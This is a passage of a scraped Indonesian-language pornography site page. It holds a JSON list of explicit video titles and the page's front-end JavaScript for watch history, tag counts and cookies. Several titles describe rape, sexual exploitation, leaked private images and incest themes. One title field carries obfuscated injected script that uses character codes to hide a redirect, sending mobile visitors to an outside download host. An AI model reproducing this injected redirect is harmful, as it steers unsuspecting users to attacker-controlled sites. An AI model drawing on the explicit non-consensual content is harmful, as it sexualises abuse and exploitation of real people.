Seorang model cantik setinggi 172 cm dengan kaki panjang, putih, dan ramping. Wajib dilihat karena sosoknya yang menakjubkan dan kepribadiannya yang manis dan lembut.","lastmod":"2026-07-11","duration":"","url":"/play/19207215.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvZjk0YjFiZjk3MjRlMDliZGU4YjdkYmM2MmVlOGU0YTEuanBn.cache","vod_id":19160353,"title":"\"Wajah itu mengingatkan saya pada kakak perempuan saya, imut sekali!\" \"Adik perempuan iblis kecil yang super nakal menyiksa aktor yang tiba-tiba tidak dikenal, HUNTC_155\"","lastmod":"2025-10-20","duration":"3:10:18","url":"/play/19160353.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvOTI1ZWQ1NWEyYmI4MjNhZTFmNjkyYmNhNTNhOGMwNjguanBn.cache","vod_id":19206621,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Pacar kecil berpayudara besar dengan tubuh berisi di rumah bersama pacar kecilnya yang berpenis besar sedang berhubungan seks tanpa peng","lastmod":"2026-07-11","duration":"","url":"/play/19206621.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNWVkMTc5OTQ3Y2U3MjUxYWJiM2YxZjBjZTQwZjQzMGIuanBn.cache","vod_id":19175592,"title":"Seorang wanita backpacker berusia 25 tahun menggunakan tubuhnya untuk membayar akomodasi selama seminggu setelah hubungannya dengan pacarnya terbongkar.","lastmod":"2026-01-22","duration":"0:13:48","url":"/play/19175592.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvOWQ2OTgzZjUyZjc0YzU3YWQ5YWI2YmMzNzllZTlhZGUuanBn.cache","vod_id":19166114,"title":"Animasi Kartun H - Erotika Kelopak Mata Bagian 1: Kenikmatan Kakak Perempuan yang Polos Menurun, Dia Memohon Ejakulasi","lastmod":"2025-12-13","duration":"0:17:30","url":"/play/19166114.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMzAvZTNhNTA4NmFmY2M4OTAzZmIyMDg1NjVmNDk4OWE5M2EuanBn.cache","vod_id":19161542,"title":"Si kecil yang konyol dan menggemaskan memamerkan sosok tubuhnya yang menakjubkan.","lastmod":"2025-10-29","duration":"1:31:55","url":"/play/19161542.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWMwZDI3ZjJhY2YxNTIyNTY1YmVkMWJiY2ZlNTZmZWIuanBn.cache","vod_id":19117255,"title":"Suami saya berhenti berhubungan seks, yang menguntungkan saudara perempuan saya 2.0...","lastmod":"2025-03-26","duration":"0:12:36","url":"/play/19117255.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDcvM2M2MjM5ZWM1YWVmZDVkN2Q3MmFlMTYzNWY5ZGVjMGQuanBn.cache","vod_id":19142339,"title":"Kenikmatan seorang wanita muda montok dengan tubuh berisi.","lastmod":"2025-07-06","duration":"0:20:17","url":"/play/19142339.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTAvYTlkNzMwYjdmZTIyYjViOWEyN2U2YzUwMjM1NDcwNDEuanBn.cache","vod_id":19148626,"title":"Berpenampilan sangat menawan, rok ketat, wanita muda cantik sedang masturbasi, sosok seksi, celana dalam terbuka di selangkangan, vulva merah muda, sangat menggoda untuk dijilat.","lastmod":"2025-08-09","duration":"1:00:16","url":"/play/19148626.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTg4M2ExMDg4NjhiNmEzYjAzYTQxNzdkMDIwODMxODEuanBn.cache","vod_id":19191002,"title":"Para wanita panggilan berkualitas tinggi dengan bentuk tubuh menakjubkan dan kaki panjang sangat menarik perhatian.","lastmod":"2026-04-05","duration":"0:21:51","url":"/play/19191002.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYWE3ZTg4NGQ4ODQ1NjE2NWQ4MjkwODBiNDM4ZTA5NjcuanBn.cache","vod_id":19169845,"title":"Seorang pekerja paruh waktu yang pemalu dan baru memulai pekerjaannya menjadi sasaran pelecehan seksual dan eksploitasi seksual yang keji oleh seorang veteran berpengalaman.","lastmod":"2025-12-26","duration":"0:48:08","url":"/play/19169845.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2QzMmUzZmZiMGQ2NjNiYTRmYTNhNjFkYzEyOTFmNTQuanBn.cache","vod_id":19183843,"title":"Foto-foto pribadi yang bocor menunjukkan seorang mahasiswi keperawatan berusia 18 tahun yang sangat cantik dengan bentuk tubuh yang bagus dan kulit yang mulus; dia akhirnya diperkosa.","lastmod":"2026-03-02","duration":"0:45:37","url":"/play/19183843.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNWYyNWJjNjZiNmNkYWRmNmNjZDgxZmZhNTM5N2FkMTYuanBn.cache","vod_id":19190676,"title":"Foto-foto pilihan rok cosplayer yang diambil di Sakura Dance Comic Con.","lastmod":"2026-04-04","duration":"0:15:52","url":"/play/19190676.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmYyMzhiZDVkZjFkNzBjODdhZDA4OGQ2ZTUwYTAxZGYuanBn.cache","vod_id":19084867,"title":"Aoi Yurika adalah seorang gadis tinggi dengan dada dan bokong yang berisi. Awalnya dia adalah seorang wanita yang kuat dan cantik, tetapi dia dilecehkan secara seksual oleh penis yang besar dan dipaksa untuk ejakulasi, dan sejak saat itu dia menjadi seorang wanita.","lastmod":"2025-03-26","duration":"1:55:44","url":"/play/19084867.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDgvYWM4Zjc1NzNkOWNmODBkZjg1YWIyZDVlMmFjYThjZDAuanBn.cache","vod_id":19133561,"title":"Tuan Shen, seorang ahli PUA (Pick-Up Artist), mengatur pertemuan dan tidur dengan para wanita panggilan yang tingginya 170 cm, berpenampilan polos dan langsing.","lastmod":"2025-05-08","duration":"1:23:33","url":"/play/19133561.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvZWNhMGJlZmNiNmYwMTc4MzQyYjAwMzViOGM5OWExNDAuanBn.cache","vod_id":19160350,"title":"Seorang wanita muda bertubuh langsing dan berpayudara besar melakukan seks oral pada para pengagum prianya, dan para pengagum pria tersebut terlibat dalam hubungan seksual yang penuh gairah.","lastmod":"2025-10-20","duration":"0:27:03","url":"/play/19160350.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDgwYzYzZWVlZjhkNjU3YzM2ZWU2ODJlNDc5OGM5ZWEuanBn.cache","vod_id":19070178,"title":"Foto-foto bocor dari kantor: Wanita muda yang cantik menggunakan vibrator di tempat kerja, memperlihatkan dirinya buang air kecil di toilet, payudaranya yang indah dan bokongnya yang berbentuk buah persik sangat menggoda...","lastmod":"2025-03-26","duration":"2:04:12","url":"/play/19070178.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTEzMWY1Mzk1ZDcyM2NhYmE2ZGVlNjM0YzRlYWFhN2IuanBn.cache","vod_id":19126052,"title":"SDAM004 Suasana persaudaraan. Miyuki berusia 22 tahun.","lastmod":"2025-03-26","duration":"2:59:44","url":"/play/19126052.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjZiMDkxYTg5ZTAwYjQwYmE3Y2Y5YTI2ZDU5YTI4ZTYuanBn.cache","vod_id":19190279,"title":"Seorang pemuda bertato bertemu dengan seorang wanita panggilan di hotel; wanita itu menggoyangkan pantatnya yang besar dan pemuda itu dengan kasar menggaulinya dalam berbagai posisi, termasuk penetrasi dari samping, hingga wanita itu kesakitan dan hampir menangis.","lastmod":"2026-04-02","duration":"0:43:15","url":"/play/19190279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNGZjNzE0ZmVjMjA4NWRhNTQ1Yzk0MDE3OWE2MmMyZjcuanBn.cache","vod_id":19184703,"title":"Wakana (25 tahun), seorang karyawan wanita yang menarik dan seksi dengan ukuran dada H, bekerja di sebuah kedai kopi jaringan besar. CHUC-160","lastmod":"2026-03-06","duration":"1:06:39","url":"/play/19184703.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmM0YTYxNGYwZjg4MjMwMGIyNmVjODU2OTRlNGJjYjYuanBn.cache","vod_id":19178020,"title":"Foto-foto seorang model muda yang dieksploitasi secara seksual oleh agennya bocor; video seks eksplisit juga bocor. Dia memiliki pinggang dan bokong yang sangat indah, dan sosok yang menggoda. Dia menikmati seks dengan posisi doggy style.","lastmod":"2026-02-03","duration":"0:20:51","url":"/play/19178020.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDRjZDkzMjY4Yjc4YWE1ODg2Yzk2ZjE2YWMyN2IzYTguanBn.cache","vod_id":19040963,"title":"PRED-437 Kakak perempuan cantik merangsang kelima indra Anda, kata-kata cabul memandu ejakulasi, Yamagishi Aika","lastmod":"2025-03-26","duration":"2:53:17","url":"/play/19040963.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWQ3OTgwZTBlMTY1YzMwMjk4NjRhMGIzOTBlMjkwOTcuanBn.cache","vod_id":19040553,"title":"STARS-240 Perawat Pengelola Ejakulasi Saudari Sakura Mana Mendominasi Secara Intens dalam Posisi Cowgirl dengan Seks Oral Tanpa Perlindungan Secara Terus Menerus Sakura Mana","lastmod":"2025-03-26","duration":"2:20:20","url":"/play/19040553.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZWNmMzg4OTQwY2RlNTBmMTQ0MGEwOTViMWE1N2I4OTUuanBn.cache","vod_id":19170175,"title":"Pijat kecantikan wanita yang dirancang dengan sangat baik menggunakan minyak esensial dan merangsang vagina.","lastmod":"2025-12-28","duration":"0:12:17","url":"/play/19170175.html"}]},
videoTitle: 'Kakak perempuanku punya bentuk tubuh yang bagus sekali, aku akan tidur dengannya suatu hari nanti!',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}